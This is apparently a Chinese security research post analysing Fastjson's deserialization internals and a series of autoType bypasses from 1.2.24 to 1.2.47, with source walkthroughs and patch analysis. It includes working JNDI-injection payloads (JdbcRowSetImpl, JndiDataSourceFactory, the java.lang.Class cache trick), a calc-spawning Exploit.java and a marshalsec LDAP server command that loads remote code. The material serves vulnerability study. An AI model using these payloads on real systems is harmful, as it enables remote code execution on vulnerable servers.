研究Fastjson各版本系列反序列化漏洞

源码:https://github.com/alibaba/fastjson/wiki/Quick-Start-CN

安装依赖

推荐在maven中配置,在pom.xml中添加

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<dependencies>
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>

前置知识

漏洞原理

fastjson通过parse、parseObject处理以json结构传入的类的字符串形时,会默认调用该类的共有setter与构造函数,并在合适的触发条件下调用该类的getter方法

当传入的类中setter、getter方法中存在利用点时,攻击者就可以通过传入可控的类的成员变量进行攻击利用

在1.2.25之后的版本中,fastjson默认关闭了反序列化任意类的操作,即AutoType,对应的是json字符串中"@type"对应的值

JNDI注入可以利用RMI或者LDAP服务,高版本的jdk会限制这两个服务的开启,它们可利用的jdk版本如下:

  • 基于RMI的利用方式,适用jdk版本:6u1327u1228u113之前
  • 基于LDAP的利用方式,适用jdk版本:6u2117u2018u19111.0.1之前

反序列化操作

序列化

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String text = JSON.toJSONString(obj); 

反序列化

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// parse()会识别并调用目标类的setter方法及某些特定条件的getter方法
TestClass obj = JSON.parse("{json_str}"); // 返回JSONObject或JSONArray

// parseObject() 等价于 parseObject() => JSON.toJSON(obj)
// parseObject()会调用反序列化目标类的所有setter和getter方法
TestClass obj = JSON.parseObject("{json_str}"); // 只能返回JSONObject
TestClass obj = JSON.parseObject("{json_str}", TestClass.class); // 返回TestClass类对象

反序列化流程图

核心在于语法解析器

image-20210523011132183

反序列化调用流程

这里我把parse()函数作为例子,探究一下json字符串从反序列化开始后到对应属性的set方法的函数调用过程

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public abstract class JSON implements JSONStreamAware, JSONAware {

public static Object parse(String text) {
return parse(text, DEFAULT_PARSER_FEATURE); // 首先使用默认的feature进行反序列化
}

public static Object parse(String text, int features) {
if (text == null) {
return null;
} else {
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features); // 获取默认配置后调用DefaultJSONParser()获取一个DefaultJSONParser
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
}

ParserConfig.getGlobalInstance()返回的是配置的全局变量

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public class ParserConfig {

public static ParserConfig getGlobalInstance() {
return global; // 配置的全局变量
}

紧接着调用DefaultJSONParser()函数返回一个Lexer,就是一个语法解析器

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public class DefaultJSONParser implements Closeable {

public DefaultJSONParser(String input, ParserConfig config, int features) {
this(input, new JSONScanner(input, features), config); // 初始化一个JSONLexer
}

public DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config) {
this.dateFormatPattern = JSON.DEFFAULT_DATE_FORMAT;
this.contextArrayIndex = 0;
this.resolveStatus = 0;
this.extraTypeProviders = null;
this.extraProcessors = null;
this.fieldTypeResolver = null;
this.lexer = lexer;
this.input = input;
this.config = config;
this.symbolTable = config.symbolTable;
int ch = lexer.getCurrent(); // 使用JSONLexer标记字符串中的'{'和'['
if (ch == '{') {
lexer.next();
((JSONLexerBase)lexer).token = 12;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase)lexer).token = 14;
} else {
lexer.nextToken();
}

}

其中JSONScanner()函数是用来获取BOM信息的

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public final class JSONScanner extends JSONLexerBase {

public JSONScanner(String input, int features) {
super(features);
this.text = input;
this.len = this.text.length();
this.bp = -1;
this.next(); // 读字符串的BOM
if (this.ch == '\ufeff') {
this.next();
}

}

获取完Lexer之后我们就进入到parser.parse()函数

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public class DefaultJSONParser implements Closeable {

public Object parse() {
return this.parse((Object)null);
}

public Object parse(Object fieldName) {
JSONLexer lexer = this.lexer;
switch(lexer.token()) { // 根据token
case 1:
case 5:
case 10:
case 11:
case 13:
case 15:
case 16:
case 17:
case 18:
case 19:
default:
throw new JSONException("syntax error, " + lexer.info());
case 2:
Number intValue = lexer.integerValue();
lexer.nextToken();
return intValue;
case 3:
Object value = lexer.decimalValue(lexer.isEnabled(Feature.UseBigDecimal));
lexer.nextToken();
return value;
case 4:
String stringLiteral = lexer.stringVal();
lexer.nextToken(16);
if (lexer.isEnabled(Feature.AllowISO8601DateFormat)) {
JSONScanner iso8601Lexer = new JSONScanner(stringLiteral);

try {
if (iso8601Lexer.scanISO8601DateIfMatch()) {
Date var11 = iso8601Lexer.getCalendar().getTime();
return var11;
}
} finally {
iso8601Lexer.close();
}
}

return stringLiteral;
case 6:
lexer.nextToken();
return Boolean.TRUE;
case 7:
lexer.nextToken();
return Boolean.FALSE;
case 8:
lexer.nextToken();
return null;
case 9:
lexer.nextToken(18);
if (lexer.token() != 18) {
throw new JSONException("syntax error");
}

lexer.nextToken(10);
this.accept(10);
long time = lexer.integerValue().longValue();
this.accept(2);
this.accept(11);
return new Date(time);
case 12: // 识别到JsonObject
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return this.parseObject((Map)object, fieldName);
case 14: // 识别到JsonArray
JSONArray array = new JSONArray();
this.parseArray((Collection)array, (Object)fieldName);
if (lexer.isEnabled(Feature.UseObjectArray)) {
return array.toArray();
}

return array;
case 20:
if (lexer.isBlankInput()) {
return null;
}

throw new JSONException("unterminated json string, " + lexer.info());
case 21:
lexer.nextToken();
HashSet<Object> set = new HashSet();
this.parseArray((Collection)set, (Object)fieldName);
return set;
case 22:
lexer.nextToken();
TreeSet<Object> treeSet = new TreeSet();
this.parseArray((Collection)treeSet, (Object)fieldName);
return treeSet;
case 23:
lexer.nextToken();
return null;
}
}

跟进JSONObject()函数设置map

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public class JSONObject extends JSON implements Map<String, Object>, Cloneable, Serializable, InvocationHandler {

public JSONObject(int initialCapacity, boolean ordered) {
if (ordered) { // 根据ordered特征选择HashMap
this.map = new LinkedHashMap(initialCapacity);
} else {
this.map = new HashMap(initialCapacity);
}

}

下一步到调用最核心的this.parseObject()函数,整个函数都是在用Lexer提取出字符串中的键值和对应值,因为这个函数比较长,所以就不具体展示了,我们重点看判断@type字段的代码

这里简单提一下lexer的相关操作,因为代码太长就不详细列出了:

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lexer.scanSymbol(this.symbolTable, '"'); // 用来提取双引号包括的内容
lexer.nextToken(16); // 转移到expect为16的case分支,根据当前的字符设置新的token,如果没有找到就会调用this.nextToken();
lexer.nextToken(); // 根据当前的字符设置token
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public class DefaultJSONParser implements Closeable {

public final Object parseObject(Map object, Object fieldName) {

...

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) { // JSON.DEFAULT_TYPE_KEY的值为@type
ref = lexer.scanSymbol(this.symbolTable, '"'); // 获取@type对应的类名
Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader()); // 使用loadCLass()加载对应类
if (clazz != null) {
lexer.nextToken(16);
if (lexer.token() == 13) {
lexer.nextToken(16);

try {
instance = null;
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
if (deserializer instanceof JavaBeanDeserializer) {
instance = ((JavaBeanDeserializer)deserializer).createInstance(this, clazz);
}

if (instance == null) {
if (clazz == Cloneable.class) {
instance = new HashMap();
} else if ("java.util.Collections$EmptyMap".equals(ref)) {
instance = Collections.emptyMap();
} else {
instance = clazz.newInstance();
}
}

obj = instance;
return obj;
} catch (Exception var23) {
throw new JSONException("create instance error", var23);
}
}

this.setResolveStatus(2);
if (this.context != null && !(fieldName instanceof Integer)) {
this.popContext();
}

if (object.size() > 0) {
instance = TypeUtils.cast(object, clazz, this.config);
this.parseObject(instance);
thisObj = instance;
return thisObj;
}

ObjectDeserializer deserializer = this.config.getDeserializer(clazz); // 获取反序列化解析器
thisObj = deserializer.deserialze(this, clazz, fieldName); // 进行反序列化
return thisObj;
}

object.put(JSON.DEFAULT_TYPE_KEY, ref);
}
...

跟进TypeUtils.loadClass()函数,创建ClassLoader返回了对应类

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public class TypeUtils {

public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className != null && className.length() != 0) {
Class<?> clazz = (Class)mappings.get(className); // 获取类名
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') { // 去掉'['
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) { // 去掉前面的'L'和后面';'
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
} else {
try {
if (classLoader != null) { // 检查是否已有指定的classLoader
clazz = classLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
}
} catch (Throwable var6) {
var6.printStackTrace();
}

try {
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader(); // 从当前线程创建classLoader
if (contextClassLoader != null) {
clazz = contextClassLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
}
} catch (Throwable var5) {
}

try {
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch (Throwable var4) {
return clazz;
}
}
} else {
return null;
}
}

下一步进入到getDeserializer()函数,获取对应的反序列化器,这里返回的是JavaBeanDeserializer

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public class ParserConfig {

public ObjectDeserializer getDeserializer(Type type) {
ObjectDeserializer derializer = (ObjectDeserializer)this.derializers.get(type);
if (derializer != null) {
return derializer;
} else if (type instanceof Class) {
return this.getDeserializer((Class)type, type);
} else if (type instanceof ParameterizedType) {
Type rawType = ((ParameterizedType)type).getRawType();
return rawType instanceof Class ? this.getDeserializer((Class)rawType, type) : this.getDeserializer(rawType);
} else {
return JavaObjectDeserializer.instance;
}
}

public ObjectDeserializer getDeserializer(Class<?> clazz, Type type) {
...
for(int i = 0; i < this.denyList.length; ++i) { // 在中间的某一步会检查类名是否处在黑名单中,在1.2.24版本之前,denyList为["java.lang.Thread"]
String deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("parser deny : " + className);
}
}
...

获取完对应的反序列化器后进可以进行反序列化了,跟进deserialze()函数

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public class JavaBeanDeserializer implements ObjectDeserializer {

public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
return this.deserialze(parser, type, fieldName, 0);
}

上面一步会创建该类的实例instance然后传入到内部的parseRest()函数,进到更具体的deserialze()函数

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public class JavaBeanDeserializer implements ObjectDeserializer {

protected Object parseRest(DefaultJSONParser parser, Type type, Object fieldName, Object instance, int features) {
Object value = this.deserialze(parser, type, fieldName, instance, features);
return value;
}

这一步的deserialze()函数因为太多也不具体展示了,主要是处理其对象成员,然后调用其set函数来给实例进行赋值,主要代码如下

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public class JavaBeanDeserializer implements ObjectDeserializer {

protected <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName, Object object, int features) {
...
if (matchField) { // 是否匹配到对象成员
if (!valueParsed) {
fieldDeser.parseField(parser, object, type, fieldValues);
} else {
if (object == null) {
fieldValues.put(fieldInfo.name, fieldValue);
} else if (fieldValue == null) {
if (fieldClass != Integer.TYPE && fieldClass != Long.TYPE && fieldClass != Float.TYPE && fieldClass != Double.TYPE && fieldClass != Boolean.TYPE) {
fieldDeser.setValue(object, fieldValue);
}
} else {
fieldDeser.setValue(object, fieldValue); // 调用setValue()函数进行赋值
}
...

跟一下setValue()函数可以看到使用了invoke()调用了对应的set函数,发现this.fieldInfo.method其实在创建反序列化器的时候就已经被创建,所以我们移步回这个this.config.getDeserializer(clazz)函数的实现

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public abstract class FieldDeserializer {

public void setValue(Object object, Object value) {
if (value != null || !this.fieldInfo.fieldClass.isPrimitive()) {
try {
Method method = this.fieldInfo.method; // 获取对应的set函数
if (method != null) {
if (this.fieldInfo.getOnly) {
if (this.fieldInfo.fieldClass == AtomicInteger.class) {
AtomicInteger atomic = (AtomicInteger)method.invoke(object);
if (atomic != null) {
atomic.set(((AtomicInteger)value).get());
}
} else if (this.fieldInfo.fieldClass == AtomicLong.class) {
AtomicLong atomic = (AtomicLong)method.invoke(object);
if (atomic != null) {
atomic.set(((AtomicLong)value).get());
}
} else if (this.fieldInfo.fieldClass == AtomicBoolean.class) {
AtomicBoolean atomic = (AtomicBoolean)method.invoke(object);
if (atomic != null) {
atomic.set(((AtomicBoolean)value).get());
}
} else if (Map.class.isAssignableFrom(method.getReturnType())) {
Map map = (Map)method.invoke(object);
if (map != null) {
map.putAll((Map)value);
}
} else {
Collection collection = (Collection)method.invoke(object);
if (collection != null) {
collection.addAll((Collection)value);
}
}
} else {
method.invoke(object, value); // 使用invoke()调用该set函数
}

}

一直跟进到下面这行代码,我们需要创建一个JavaBeanDeserializer的反序列化器

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public class ParserConfig {

public ObjectDeserializer getDeserializer(Class<?> clazz, Type type) {
...
derializer = this.createJavaBeanDeserializer(clazz, (Type)type);
...

createJavaBeanDeserializer()中对传入的类建立一个beanInfo,这个beanInfo包含了一个类的全部重要属性

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public class ParserConfig {

public ObjectDeserializer createJavaBeanDeserializer(Class<?> clazz, Type type) {
...
beanInfo = JavaBeanInfo.build(clazz, type, this.propertyNamingStrategy);
...

跟进JavaBeanInfo.build()函数的具体实现

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public class JavaBeanInfo {

public static JavaBeanInfo build(Class<?> clazz, Type type, PropertyNamingStrategy propertyNamingStrategy) {

...

Method[] methods = clazz.getMethods(); // 获取该类的全部方法

...

if (methodName.startsWith("set")) { // 比例类的所有方法,如果找到了以"set"开头的方法
char c3 = methodName.charAt(3);
String propertyName;
if (!Character.isUpperCase(c3) && c3 <= 512) {
if (c3 == '_') {
propertyName = methodName.substring(4);
} else if (c3 == 'f') {
propertyName = methodName.substring(3);
} else {
if (methodName.length() < 5 || !Character.isUpperCase(methodName.charAt(4))) {
continue;
}

propertyName = TypeUtils.decapitalize(methodName.substring(3));
}
} else if (TypeUtils.compatibleWithJavaBean) {
propertyName = TypeUtils.decapitalize(methodName.substring(3));
} else {
propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4); // 截取"set"之后的字符串并让首字母转为小写,即获取其属性名
}

Field field = TypeUtils.getField(clazz, propertyName, declaredFields);
if (field == null && types[0] == Boolean.TYPE) { // 如果该属性不在声明成员中且为bool类型时
isFieldName = "is" + Character.toUpperCase(propertyName.charAt(0)) + propertyName.substring(1); // 转化为对应的"is"方法
field = TypeUtils.getField(clazz, isFieldName, declaredFields); // 检查其是否存在"is"方法
}

JSONField fieldAnnotation = null;
if (field != null) {
fieldAnnotation = (JSONField)field.getAnnotation(JSONField.class);
if (fieldAnnotation != null) {
if (!fieldAnnotation.deserialize()) {
continue;
}

ordinal = fieldAnnotation.ordinal();
serialzeFeatures = SerializerFeature.of(fieldAnnotation.serialzeFeatures());
parserFeatures = Feature.of(fieldAnnotation.parseFeatures());
if (fieldAnnotation.name().length() != 0) {
propertyName = fieldAnnotation.name();
add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures, annotation, fieldAnnotation, (String)null)); // 如果存在对应的"set"方法就会加入到域成员列表中
continue;
}
}
}

if (propertyNamingStrategy != null) {
propertyName = propertyNamingStrategy.translate(propertyName);
}

add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures, annotation, fieldAnnotation, (String)null)); // 最后把对应的属性名和"set"方法等相关信息加入到成员列表中
}

那么关于json字符串从反序列化开始后到对应属性的set方法调用的分析就到此为止

漏洞分析

1.2.24漏洞

Exploit.java

务必记得Exploit.java的编译环境要尽量与漏洞触发环境(客户端)相同

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public class Exploit {
public Exploit(){
try {
java.lang.Runtime.getRuntime().exec(new String[]{"calc"});
}
catch(Exception e) {
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
// javac Explit.java
// python -m http.server 8888

客户端

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ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonstr = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\",\"autoCommit\":true}";
Object obj = JSON.parseObject(jsonstr);
System.out.println(obj);

服务器

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java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8888/#Exploit" 1389

分析

反序列化调用setAutoCommit()函数进行赋值,期间会调用connect()函数

image-20210523021746723

跟进connect()函数,如果dataSourceName不为空就会调用lookup()函数造成jndi注入

image-20210523021713896

Patch

parseObject()中引入了checkAutoType()的黑白名单检查

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public class DefaultJSONParser implements Closeable {

public final Object parseObject(Map object, Object fieldName) {
...
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
typeName = lexer.scanSymbol(this.symbolTable, '"');
if (!lexer.isEnabled(Feature.IgnoreAutoType)) {
strValue = null;
Class clazz;
if (object != null && object.getClass().getName().equals(typeName)) {
clazz = object.getClass();
} else {
clazz = this.config.checkAutoType(typeName, (Class)null, lexer.getFeatures()); // 检查黑名单
}
...

checkAutoType()函数的详细代码

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public class ParserConfig {

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
} else if (typeName.length() >= 128) { // 限制了小于128的长度
throw new JSONException("autoType is not support. " + typeName);
} else {
String className = typeName.replace('$', '.');
Class<?> clazz = null;
int mask;
String accept;
if (this.autoTypeSupport || expectClass != null) {
for(mask = 0; mask < this.acceptList.length; ++mask) { // 检查白名单
accept = this.acceptList[mask];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
}

for(mask = 0; mask < this.denyList.length; ++mask) { // 检查黑名单
accept = this.denyList[mask];
if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}

if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) { // 检查类是否在预期类中
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
if (!this.autoTypeSupport) {
for(mask = 0; mask < this.denyList.length; ++mask) {
accept = this.denyList[mask];
if (className.startsWith(accept)) {
throw new JSONException("autoType is not support. " + typeName);
}
}

for(mask = 0; mask < this.acceptList.length; ++mask) {
accept = this.acceptList[mask];
if (className.startsWith(accept)) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
}

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
}
}

if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false); // 在这一步进行只爱之前loadCLass()
}

...

1.2.41漏洞

针对1.2.24版本漏洞补丁的绕过

客户端

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ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonstr = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\",\"autoCommit\":true}";
Object obj = JSON.parseObject(jsonstr);
System.out.println(obj)

只需在@type字段的首尾加多一个L;

分析

很粗暴的绕过方式,看过上面1.2.24版本的补丁可以知道,Fastjson会把对类名的修正(删除一些多余的描述符)放在了检查黑白名单的代码之后,这是个经典的TOCTOU漏洞,具体代码如下

com/alibaba/fastjson/util/TypeUtils.java中的loadClass()方法中

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public class TypeUtils {

public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
if (className != null && className.length() != 0) {
Class<?> clazz = (Class)mappings.get(className);
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) { // 绕过的条件
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}

...

在该方法中有两处字符检查,第一处的作用是匹配以'['开头的字符串,而第二处则是匹配以”L”开头,以”;”结尾的字符串

[LAutoTypeTest.ForTest;这种类型的字符串其实是一种对函数返回值和参数的编码,名为JNI字段描述符

其中首个字符”[“用以表示数组的层数,而第二个字符则代表数组的类型。

这里举例说明一下JNI字段描述符的格式:

  1. double对应的类对象名为”[[D”

  2. int[]对应的类对象名则为”[I”

  3. AutoTypeTest.ForTest[]对应的类对象名则为”[LAutoTypeTest.ForTest;”

而L为类描述符,”L”与”;”之间的字符串表示着该类对象的所属类(AutoTypeTest.ForTest)

Patch

限制传入的类名长度,引入了黑名单加密混淆机制,将所有类型检验换成了hashCode,为了不让研究人员直接看到被明文黑白名单(但是可以爆破绕过,详细的可以看文章底下的哈希黑名单),然后在检验黑白名单之前先去掉首尾的"L"";"

1.2.42漏洞

绕过1.2.41的补丁

客户端

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ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonstr = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\",\"autoCommit\":true}";
Object obj = JSON.parseObject(jsonstr);
System.out.println(obj)

直接再套多一层"L"";"即可绕过补丁

分析

跟进checkAutoType()函数

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public class ParserConfig {

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
} else if (typeName.length() < 128 && typeName.length() >= 3) {
String className = typeName.replace('$', '.');
Class<?> clazz = null;
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) { // 经过动态调试可以知道这里是去掉了一层"L"和";"
className = className.substring(1, className.length() - 1);
}

...

Patch

className开头是"LL"就抛出错误

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public class ParserConfig {

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
} else if (typeName.length() < 128 && typeName.length() >= 3) {
String className = typeName.replace('$', '.');
Class<?> clazz = null;
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) { // 检验开头是否为"LL",然后抛出错误
throw new JSONException("autoType is not support. " + typeName);
}

className = className.substring(1, className.length() - 1);
}

1.2.43漏洞

绕过1.2.42的补丁

客户端

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ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonstr = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"ldap://localhost:1389/Exploit\", \"autoCommit\":false}]";
Object obj = JSON.parseObject(jsonstr);
System.out.println(obj)

采用畸形"[""{"进行绕过

分析

大家应该记得,除了前面用到的"L"";",我们还会对首位的"["进行修改,再一次看loadClass()函数

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public class TypeUtils {

public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
if (className != null && className.length() != 0) {
Class<?> clazz = (Class)mappings.get(className);
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader); // 删掉首位的"["
return Array.newInstance(componentType, 0).getClass(); // 实例化类
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}

...

在Lexer分析完类名之后,此时Lexer已经分析到这个位置[{"dataSourceName"...,而且代码将会检查token为16时后一个预期字符

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// public final Object parseObject(Map object, Object fieldName)
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
typeName = lexer.scanSymbol(this.symbolTable, '"');
if (!lexer.isEnabled(Feature.IgnoreAutoType)) {
strValue = null;
Class clazz;
if (object != null && object.getClass().getName().equals(typeName)) {
clazz = object.getClass();
} else {
clazz = this.config.checkAutoType(typeName, (Class)null, lexer.getFeatures());
}

if (clazz != null) {
lexer.nextToken(16); // 检查expect为16的token
if (lexer.token() == 13) {
lexer.nextToken(16);

// public final void nextToken(int expect)
case 16:
if (this.ch == ',') {
this.token = 16;
this.next();
return;
}

if (this.ch == '}') {
this.token = 13;
this.next();
return;
}

if (this.ch == ']') {
this.token = 15;
this.next();
return;
}

if (this.ch == 26) {
this.token = 20;
return;
}
break;
...
if (this.ch != ' ' && this.ch != '\n' && this.ch != '\r' && this.ch != '\t' && this.ch != '\f' && this.ch != '\b') {
this.nextToken(); // 因为我们的payload的类名的后一个字符为'[',所以会调用nextToken()函数设置新的token
return;
}
...

// public final void nextToken()
case '[':
this.next();
this.token = 14; // 将token设置为14
return;

下面阐述一下为什么一定要把token设置为14

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// public final Object parseObject(Map object, Object fieldName)
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName); // 进入反序列化
return thisObj;

// public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName)
JSONArray array = new JSONArray();
parser.parseArray((Type)componentType, array, fieldName); // 解析类成员
return this.toObjectArray(parser, componentClass, array);

// public void parseArray(Type type, Collection array, Object fieldName)
if (token != 14) { // token不等于14就会报错
throw new JSONException("exepct '[', but " + JSONToken.name(token) + ", " + this.lexer.info());
} else {
ObjectDeserializer deserializer = null;
if (Integer.TYPE == type) {
deserializer = IntegerCodec.instance;
this.lexer.nextToken(2);
} else if (String.class == type) {
deserializer = StringCodec.instance;
this.lexer.nextToken(4);
} else {
deserializer = this.config.getDeserializer(type);
this.lexer.nextToken(((ObjectDeserializer)deserializer).getFastMatchToken()); // getFastMatchToken()返回的是12,可以成功搜索到下一个字符是'{',对应的token设置为12
}

ParseContext context = this.context;
this.setContext(array, fieldName);

try {
int i = 0;

while(true) {
if (this.lexer.isEnabled(Feature.AllowArbitraryCommas)) {
while(this.lexer.token() == 16) {
this.lexer.nextToken();
}
}

if (this.lexer.token() == 15) {
break;
}

Object val;
if (Integer.TYPE == type) {
val = IntegerCodec.instance.deserialze(this, (Type)null, (Object)null);
array.add(val);
} else if (String.class == type) {
String value;
if (this.lexer.token() == 4) {
value = this.lexer.stringVal();
this.lexer.nextToken(16);
} else {
Object obj = this.parse();
if (obj == null) {
value = null;
} else {
value = obj.toString();
}
}

array.add(value);
} else {
if (this.lexer.token() == 8) {
this.lexer.nextToken();
val = null;
} else {
val = ((ObjectDeserializer)deserializer).deserialze(this, type, i); // 因为token是12,所以最终会走到这一步完成反序列化
}

Patch

判断类型的第一个字符是否为”[“

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public class ParserConfig {

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
} else if (typeName.length() < 128 && typeName.length() >= 3) {
String className = typeName.replace('$', '.');
Class<?> clazz = null;
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
long h1 = (-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L;
if (h1 == -5808493101479473382L) {
throw new JSONException("autoType is not support. " + typeName); // 第一个字符是否为"["则抛出错误
}

1.2.45漏洞

利用了一条黑名单中不包含的元素,从而绕过了黑名单限制,需要额外安装mybatis库

客户端

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ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonstr = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://localhost:1389/Exploit\"}}";
Object obj = JSON.parseObject(jsonstr);
System.out.println(obj)

JndiDataSourceFactory不在黑名单中,通过指定data_source实现JNDI注入

分析

直接放图

image-20210524170435859

从这个代码可以看到也可以用initial_context属性,但是还要同时设置data_source属性才能用,所以就没什么必要

Patch

扩充了不少黑名单

1.2.47漏洞

使用新的Gadget绕过黑名单

需要 1.2.33 ≤ Fastjson版本 ≤ 1.2.47,是否开启setAutoTypeSupport都能成功

需要 1.2.25 ≤ Fastjson版本 ≤ 1.2.32,关闭setAutoTypeSupport能成功

客户端

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ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonstr = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\",\"autoCommit\":true}}}";
Object obj = JSON.parseObject(jsonstr);
System.out.println(obj)

由于Poc开头不为@type等预置类型,所以按Map类型解析,其中会调用parseObject(),第一次反序列化时,java.lang.Class绕过黑名单,将com.sun.rowset.JdbcRowSetImpl加入到缓存数组,第二次反序列化时,由于com.sun.rowset.JdbcRowSetImpl已在缓存之中,所以绕过了黑名单检测的过程,成功进行JNDI注入

分析

在IDEA中把mappings成员添加到断点中

image-20210524175959882

勾上Field access选项

image-20210524180038665

在运行完java.lang.Class类的parseObject()函数之后再进行监听,持续跟进就会看到调用到下面的loadClass()函数,大概情况就是java.lang.Class在反序列化时会把value属性值识别为Object类型,如果key值本身又属于Class.class类型时,便会对value属性值调用下面的loadClass()函数把这个Object加载进来

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public class TypeUtils {

public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
if (className != null && className.length() != 0) {
Class<?> clazz = (Class)mappings.get(className);
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
} else {
try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}

return clazz;
}
} catch (Throwable var7) {
var7.printStackTrace();
}

try {
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if (contextClassLoader != null && contextClassLoader != classLoader) {
clazz = contextClassLoader.loadClass(className);
if (cache) { // 支持缓存
mappings.put(className, clazz); // 把类名和类存进mappings
}

return clazz;
}
} catch (Throwable var6) {
}

try {
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch (Throwable var5) {
return clazz;
}
}
} else {
return null;
}
}

当第二次解析@type时就可以绕过黑名单校验了

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public class ParserConfig {

